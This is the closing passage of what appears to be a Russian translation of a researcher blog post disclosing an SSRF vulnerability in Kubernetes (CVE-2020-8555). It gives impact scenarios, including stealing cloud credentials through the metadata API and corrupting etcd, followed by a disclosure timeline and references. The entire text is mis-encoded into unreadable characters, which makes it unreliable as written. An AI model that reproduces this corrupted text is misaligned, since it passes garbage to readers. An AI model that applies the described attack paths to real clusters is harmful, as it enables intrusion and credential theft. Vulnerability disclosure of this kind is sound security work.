Π ΠΎΡΠΈΡΠΈΠ°Π»ΡΠ½ΠΎΠΌ Π·Π°ΡΠ²Π»Π΅Π½ΠΈΠΈ Kubernetes ΠΏΠΎ ΠΏΠΎΠ²ΠΎΠ΄Ρ ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½Π½ΠΎΠΉ Π½Π°ΠΌΠΈ SSRF-ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π΅ΠΉ Π±ΡΠ» ΠΏΡΠΈΡΠ²ΠΎΠ΅Π½ ΡΠ΅ΠΉΡΠΈΠ½Π³ CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. ΠΡΠ»ΠΈ ΡΠ°ΡΡΠΌΠ°ΡΡΠΈΠ²Π°ΡΡ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ, ΡΠ²ΡΠ·Π°Π½Π½ΡΡ Ρ ΠΏΠ΅ΡΠΈΠΌΠ΅ΡΡΠΎΠΌ Kubernetes, Π²Π΅ΠΊΡΠΎΡ ΡΠ΅Π»ΠΎΡΡΠ½ΠΎΡΡΠΈ (integrity vector) Π² Π½Π΅ΠΉ ΠΊΠ²Π°Π»ΠΈΡΠΈΡΠΈΡΡΠ΅ΡΡΡ ΠΊΠ°ΠΊ None.
ΠΠ΄Π½Π°ΠΊΠΎ ΠΎΡΠ΅Π½ΠΊΠ° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΡΡ ΠΏΠΎΡΠ»Π΅Π΄ΡΡΠ²ΠΈΠΉ Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ΅ ΡΠΏΡΠ°Π²Π»ΡΠ΅ΠΌΠΎΠ³ΠΎ ΡΠ΅ΡΠ²ΠΈΡΠ½ΠΎΠ³ΠΎ ΠΎΠΊΡΡΠΆΠ΅Π½ΠΈΡ (ΠΈ ΡΡΠΎ Π±ΡΠ»Π° ΡΠ°ΠΌΠ°Ρ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½Π°Ρ ΡΠ°ΡΡΡ Π½Π°ΡΠ΅Π³ΠΎ ΠΈΡΡΠ»Π΅Π΄ΠΎΠ²Π°Π½ΠΈΡ!) ΠΏΠΎΠ±ΡΠ΄ΠΈΠ»Π° Π½Π°Ρ ΠΏΠ΅ΡΠ΅ΠΊΠ²Π°Π»ΠΈΡΠΈΡΠΈΡΠΎΠ²Π°ΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π½Π° ΡΠ΅ΠΉΡΠΈΠ½Π³ Critical CVSS10/10 Π΄Π»Ρ ΠΌΠ½ΠΎΠ³ΠΈΡ Π΄ΠΈΡΡΡΠΈΠ±ΡΡΡΠΎΡΠΎΠ².
ΠΠΈΠΆΠ΅ ΠΏΡΠΈΠ²Π΅Π΄Π΅Π½Π° Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½Π°Ρ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ, ΠΊΠΎΡΠΎΡΠ°Ρ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ ΠΏΠΎΠ½ΡΡΡ, ΡΠ΅ΠΌ ΠΌΡ ΡΡΠΊΠΎΠ²ΠΎΠ΄ΡΡΠ²ΠΎΠ²Π°Π»ΠΈΡΡ ΠΏΡΠΈ ΠΎΡΠ΅Π½ΠΊΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΡΡ ΠΏΠΎΡΠ»Π΅Π΄ΡΡΠ²ΠΈΠΉ Π² ΠΎΠ±Π»Π°ΡΠ½ΡΡ ΠΎΠΊΡΡΠΆΠ΅Π½ΠΈΡΡ :
Π¦Π΅Π»ΠΎΡΡΠ½ΠΎΡΡΡ
- Π£Π΄Π°Π»Π΅Π½Π½ΠΎΠ΅ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΏΠΎΠ»ΡΡΠ΅Π½Π½ΡΡ Π²Π½ΡΡΡΠ΅Π½Π½ΠΈΡ ΡΡΠ΅ΡΠ½ΡΡ Π΄Π°Π½Π½ΡΡ .
- ΠΠΎΡΠΏΡΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π²ΡΡΠ΅ΠΎΠΏΠΈΡΠ°Π½Π½ΠΎΠ³ΠΎ ΡΡΠ΅Π½Π°ΡΠΈΡ ΠΌΠ΅ΡΠΎΠ΄ΠΎΠΌ IDOR (Insecure Direct Object Reference, Ρ.Π΅. Π½Π΅Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΡΡ ΠΏΡΡΠΌΡΡ ΡΡΡΠ»ΠΎΠΊ Π½Π° ΠΎΠ±ΡΠ΅ΠΊΡΡ) Ρ Π΄ΡΡΠ³ΠΈΠΌΠΈ ΡΠ΅ΡΡΡΡΠ°ΠΌΠΈ, ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½Π½ΡΠΌΠΈ Π² Π»ΠΎΠΊΠ°Π»ΡΠ½ΠΎΠΉ ΡΠ΅ΡΠΈ.
ΠΠΎΠ½ΡΠΈΠ΄Π΅Π½ΡΠΈΠ°Π»ΡΠ½ΠΎΡΡΡ
- ΠΡΠ°ΠΊΠ° ΡΠΈΠΏΠ°
Lateral Movement Π±Π»Π°Π³ΠΎΠ΄Π°ΡΡ ΠΊΡΠ°ΠΆΠ΅ ΠΎΠ±Π»Π°ΡΠ½ΡΡ ΡΡΠ΅ΡΠ½ΡΡ Π΄Π°Π½Π½ΡΡ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, metadata API). - Π‘Π±ΠΎΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΡΠΊΠ°Π½ΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π»ΠΎΠΊΠ°Π»ΡΠ½ΠΎΠΉ ΡΠ΅ΡΠΈ (ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π²Π΅ΡΡΠΈΠΈ SSH, Π²Π΅ΡΡΠΈΠΈ HTTP-ΡΠ΅ΡΠ²Π΅ΡΠ°, β¦).
- Π‘Π±ΠΎΡ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ ΠΎΠ± ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡΠ°Ρ
ΠΈ ΠΈΠ½ΡΡΠ°ΡΡΡΡΠΊΡΡΡΠ΅ ΠΏΡΡΠ΅ΠΌ ΠΎΠΏΡΠΎΡΠ° Π²Π½ΡΡΡΠ΅Π½Π½ΠΈΡ
API, ΡΠ°ΠΊΠΈΡ
ΠΊΠ°ΠΊ metadata API (
http://169.254.169.254
, β¦). - ΠΡΠ°ΠΆΠ° Π΄Π°Π½Π½ΡΡ ΠΊΠ»ΠΈΠ΅Π½ΡΠΎΠ² Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΎΠ±Π»Π°ΡΠ½ΡΡ ΡΡΠ΅ΡΠ½ΡΡ Π΄Π°Π½Π½ΡΡ .
ΠΠΎΡΡΡΠΏΠ½ΠΎΡΡΡ
ΠΡΠ΅ ΡΡΠ΅Π½Π°ΡΠΈΠΈ ΠΏΡΠΈΠΌΠ΅Π½Π΅Π½ΠΈΡ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠΎΠ², ΡΠ²ΡΠ·Π°Π½Π½ΡΠ΅ Ρ Π²Π΅ΠΊΡΠΎΡΠ°ΠΌΠΈ Π°ΡΠ°ΠΊΠΈ Π½Π° integrity (ΡΠ΅Π»ΠΎΡΡΠ½ΠΎΡΡΡ), ΠΌΠΎΠ³ΡΡ Π±ΡΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½Ρ Π΄Π»Ρ ΡΠ°Π·ΡΡΡΠΈΡΠ΅Π»ΡΠ½ΡΡ Π΄Π΅ΠΉΡΡΠ²ΠΈΠΉ ΠΈ ΠΏΡΠΈΠ²ΠΎΠ΄ΠΈΡΡ ΠΊ ΡΠΎΠΌΡ, ΡΡΠΎ ΠΌΠ°ΡΡΠ΅Ρ-ΠΈΠ½ΡΡΠ°Π½ΡΡ ΠΈΠ· ΠΊΠ»ΠΈΠ΅Π½ΡΡΠΊΠΎΠ³ΠΎ ΠΏΠ΅ΡΠΈΠΌΠ΅ΡΡΠ° (ΠΈΠ»ΠΈ Π»ΡΠ±ΠΎΠ³ΠΎ Π΄ΡΡΠ³ΠΎΠ³ΠΎ) Π±ΡΠ΄ΡΡ Π½Π΅Π΄ΠΎΡΡΡΠΏΠ½Ρ.
ΠΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΠΌΡ Π½Π°Ρ ΠΎΠ΄ΠΈΠ»ΠΈΡΡ Π² ΡΠΏΡΠ°Π²Π»ΡΠ΅ΠΌΠΎΠΉ ΡΡΠ΅Π΄Π΅ K8s ΠΈ ΠΎΡΠ΅Π½ΠΈΠ²Π°Π»ΠΈ Π²Π»ΠΈΡΠ½ΠΈΠ΅ Π½Π° ΡΠ΅Π»ΠΎΡΡΠ½ΠΎΡΡΡ, ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡΠ΅Π΄ΡΡΠ°Π²ΠΈΡΡ ΡΠ΅Π±Π΅ ΠΌΠ½ΠΎΠΆΠ΅ΡΡΠ²ΠΎ ΡΡΠ΅Π½Π°ΡΠΈΠ΅Π², ΡΠΏΠΎΡΠΎΠ±Π½ΡΡ ΠΏΠΎΠ²Π»ΠΈΡΡΡ Π½Π° Π΄ΠΎΡΡΡΠΏΠ½ΠΎΡΡΡ. Π ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΡ ΠΏΡΠΈΠΌΠ΅ΡΠΎΠ² ΠΏΡΠΈΠ²Π΅Π΄Π΅ΠΌ ΠΏΠΎΠ²ΡΠ΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ Π±Π°Π·Ρ Π΄Π°Π½Π½ΡΡ etcd ΠΈΠ»ΠΈ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΡΠΈΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π²ΡΠ·ΠΎΠ²Π° ΠΊ API Kubernetes.
Π₯ΡΠΎΠ½ΠΎΠ»ΠΎΠ³ΠΈΡ
- 6 Π΄Π΅ΠΊΠ°Π±ΡΡ 2019 Π³.: ΠΎΡΠΏΡΠ°Π²ΠΊΠ° ΡΠΎΠΎΠ±ΡΠ΅Π½ΠΈΡ ΠΎΠ± ΠΎΠ±Π½Π°ΡΡΠΆΠ΅Π½Π½ΠΎΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ Π² MSRC Bug Bounty.
- 3 ΡΠ½Π²Π°ΡΡ 2020: ΡΡΠ΅ΡΡΡ ΡΡΠΎΡΠΎΠ½Π° ΠΏΡΠΎΠΈΠ½ΡΠΎΡΠΌΠΈΡΠΎΠ²Π°Π»Π° ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΎΠ² Kubernetes ΠΎ ΡΠΎΠΌ, ΡΡΠΎ ΠΌΡ ΡΠ°Π±ΠΎΡΠ°Π΅ΠΌ Π½Π°Π΄ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠΎΠΉ Π² ΠΎΠ±Π»Π°ΡΡΠΈ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ. Π ΠΏΠΎΠΏΡΠΎΡΠΈΠ»Π° ΠΈΡ ΡΠ°ΡΡΠΌΠ°ΡΡΠΈΠ²Π°ΡΡ SSRF ΠΊΠ°ΠΊ Π²Π½ΡΡΡΠ΅Π½Π½ΡΡ (in-core) ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ. ΠΠΎΡΠ»Π΅ ΡΡΠΎΠ³ΠΎ ΠΌΡ ΠΏΡΠ΅Π΄ΡΡΠ°Π²ΠΈΠ»ΠΈ ΠΎΠ±ΡΠΈΠΉ ΠΎΡΡΠ΅Ρ Ρ ΡΠ΅Ρ Π½ΠΈΡΠ΅ΡΠΊΠΈΠΌΠΈ ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎΡΡΡΠΌΠΈ ΠΎΠ± ΠΈΡΡΠΎΡΠ½ΠΈΠΊΠ΅ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ.
- 15 ΡΠ½Π²Π°ΡΡ 2020: ΠΌΡ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²ΠΈΠ»ΠΈ ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ°ΠΌ Kubernetes ΡΠ΅Ρ Π½ΠΈΡΠ΅ΡΠΊΠΈΠΉ ΠΈ ΠΎΠ±ΡΠΈΠΉ ΠΎΡΡΠ΅ΡΡ ΠΏΠΎ ΠΈΡ Π·Π°ΠΏΡΠΎΡΡ (ΡΠ΅ΡΠ΅Π· ΠΏΠ»Π°ΡΡΠΎΡΠΌΡ HackerOne).
- 15 ΡΠ½Π²Π°ΡΡ 2020: ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΈ Kubernetes ΠΈΠ·Π²Π΅ΡΡΠΈΠ»ΠΈ Π½Π°Ρ, ΡΡΠΎ half-blind SSRF + ΠΈΠ½ΡΠ΅ΠΊΡΠΈΡ CRLF Π΄Π»Ρ ΠΏΡΠΎΡΠ»ΡΡ ΡΠ΅Π»ΠΈΠ·ΠΎΠ² ΡΡΠΈΡΠ°Π΅ΡΡΡ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΡ in-core. ΠΡ ΡΡΠ°Π·Ρ ΠΆΠ΅ ΠΏΡΠ΅ΠΊΡΠ°ΡΠΈΠ»ΠΈ Π°Π½Π°Π»ΠΈΠ· ΠΏΠ΅ΡΠΈΠΌΠ΅ΡΡΠΎΠ² Π΄ΡΡΠ³ΠΈΡ ΠΏΠΎΡΡΠ°Π²ΡΠΈΠΊΠΎΠ² ΡΡΠ»ΡΠ³: ΠΏΠ΅ΡΠ²ΠΎΠΏΡΠΈΡΠΈΠ½ΠΎΠΉ ΡΠ΅ΠΏΠ΅ΡΡ Π·Π°Π½ΠΈΠΌΠ°Π»Π°ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Π° K8s.
- 15 ΡΠ½Π²Π°ΡΡ 2020: ΡΠ΅ΡΠ΅Π· HackerOne ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΎ Π²ΠΎΠ·Π½Π°Π³ΡΠ°ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΎΡ MSRC.
- 16 ΡΠ½Π²Π°ΡΡ 2020: Kubernetes PSC (Product Security Committee) ΠΏΡΠΈΠ·Π½Π°Π» ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ ΠΈ ΠΏΠΎΠΏΡΠΎΡΠΈΠ» Π΄Π΅ΡΠΆΠ°ΡΡ Π΅Π΅ Π² ΡΠ°ΠΉΠ½Π΅ Π΄ΠΎ ΡΠ΅ΡΠ΅Π΄ΠΈΠ½Ρ ΠΌΠ°ΡΡΠ° ΠΈΠ·-Π·Π° Π±ΠΎΠ»ΡΡΠΎΠ³ΠΎ ΡΠΈΡΠ»Π° ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»ΡΠ½ΡΡ ΠΆΠ΅ΡΡΠ².
- 11 ΡΠ΅Π²ΡΠ°Π»Ρ 2020: ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΎ Π²ΠΎΠ·Π½Π°Π³ΡΠ°ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΎΡ Google VRP.
- 4 ΠΌΠ°ΡΡΠ° 2020: ΡΠ΅ΡΠ΅Π· HackerOne ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΎ Π²ΠΎΠ·Π½Π°Π³ΡΠ°ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΎΡ Kubernetes.
- 15 ΠΌΠ°ΡΡΠ° 2020: ΠΏΠ΅ΡΠ²ΠΎΠ½Π°ΡΠ°Π»ΡΠ½ΠΎ Π·Π°ΠΏΠ»Π°Π½ΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠ΅ ΠΏΡΠ±Π»ΠΈΡΠ½ΠΎΠ΅ ΡΠ°ΡΠΊΡΡΡΠΈΠ΅ ΠΎΡΠ»ΠΎΠΆΠ΅Π½ΠΎ ΠΈΠ·-Π·Π° ΡΠΈΡΡΠ°ΡΠΈΠΈ Ρ COVID-19.
- 1 ΠΈΡΠ½Ρ 2020: ΡΠΎΠ²ΠΌΠ΅ΡΡΠ½ΠΎΠ΅ Π·Π°ΡΠ²Π»Π΅Π½ΠΈΠ΅ Kubernetes + Microsoft ΠΎΠ± ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ.
TL;DR
- ΠΡ ΠΏΡΠ΅ΠΌ ΠΏΠΈΠ²ΠΎ ΠΈ ΠΊΡΡΠ°Π΅ΠΌ ΠΏΠΈΡΡΡ π
- ΠΡ ΠΎΠ±Π½Π°ΡΡΠΆΠΈΠ»ΠΈ in-core-ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡ Π² Kubernetes, Ρ ΠΎΡΡ Π²ΠΎΠ²ΡΠ΅ Π½Π΅ ΡΠΎΠ±ΠΈΡΠ°Π»ΠΈΡΡ ΡΡΠΎΠ³ΠΎ Π΄Π΅Π»Π°ΡΡ.
- ΠΡ ΠΏΡΠΎΠ²Π΅Π»ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠΉ Π°Π½Π°Π»ΠΈΠ· Π² ΠΊΠ»Π°ΡΡΠ΅ΡΠ°Ρ ΡΠ°Π·Π»ΠΈΡΠ½ΡΡ ΠΎΠ±Π»Π°ΡΠ½ΡΡ ΠΏΡΠΎΠ²Π°ΠΉΠ΄Π΅ΡΠΎΠ² ΠΈ ΡΠΌΠΎΠ³Π»ΠΈ ΡΠ²Π΅Π»ΠΈΡΠΈΡΡ ΡΡΠ΅ΡΠ±, ΠΏΡΠΈΡΠΈΠ½ΡΠ΅ΠΌΡΠΉ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΡ, ΡΡΠΎΠ±Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠ΅ ΠΎΠ±Π°Π»Π΄Π΅Π½Π½ΡΠ΅ Π±ΠΎΠ½ΡΡΡ.
- Π ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠ΅ Π²Ρ Π½Π°ΠΉΠ΄Π΅ΡΠ΅ ΠΌΠ½ΠΎΠΆΠ΅ΡΡΠ²ΠΎ ΡΠ΅Ρ
Π½ΠΈΡΠ΅ΡΠΊΠΈΡ
ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎΡΡΠ΅ΠΉ. ΠΡ Ρ ΡΠ°Π΄ΠΎΡΡΡΡ ΠΎΠ±ΡΡΠ΄ΠΈΠΌ ΠΈΡ
Ρ Π²Π°ΠΌΠΈ (Twitter:
@ReeverZax &@__hach_ ). - ΠΠΊΠ°Π·Π°Π»ΠΎΡΡ, ΡΡΠΎ Π²ΡΠ΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΡΠ΅ ΡΠΎΡΠΌΠ°Π»ΡΠ½ΠΎΡΡΠΈ ΠΈ ΡΠΎΡΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ ΠΎΡΡΠ΅ΡΠΎΠ² Π·Π°Π½ΠΈΠΌΠ°ΡΡ Π³ΠΎΡΠ°Π·Π΄ΠΎ Π±ΠΎΠ»ΡΡΠ΅ Π²ΡΠ΅ΠΌΠ΅Π½ΠΈ, ΡΠ΅ΠΌ ΠΎΠΆΠΈΠ΄Π°Π»ΠΎΡΡ.
Π‘ΡΡΠ»ΠΊΠΈ
-
Google-Π³ΡΡΠΏΠΏΠ° kubernetes-security-announce ; -
CVE-2020-8555 ; -
golang issue #30794 ; -
heketi/client/api/go-client/volume.go .
P.S. ΠΎΡ ΠΏΠ΅ΡΠ΅Π²ΠΎΠ΄ΡΠΈΠΊΠ°
Π§ΠΈΡΠ°ΠΉΡΠ΅ ΡΠ°ΠΊΠΆΠ΅ Π² Π½Π°ΡΠ΅ΠΌ Π±Π»ΠΎΠ³Π΅:
- Β«
ΠΡ ΠΎΡΠ° Π·Π° ΠΎΡΠΈΠ±ΠΊΠ°ΠΌΠΈ Π² Kubernetes ΠΎΡΠΈΡΠΈΠ°Π»ΡΠ½ΠΎ ΠΎΡΠΊΡΡΡΠ° Β»; - Β«
ΠΡΡ ΠΎΠ΄ Π·Π° ΠΏΡΠ΅Π΄Π΅Π»Ρ pod’Π° Π² Kubernetes ΡΠ΅ΡΠ΅Π· ΠΌΠΎΠ½ΡΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ Π»ΠΎΠ³ΠΎΠ² Β»; - Β«
33+ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠ° Π΄Π»Ρ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ Kubernetes Β».
ΠΡΡΠΎΡΠ½ΠΈΠΊ: habr.com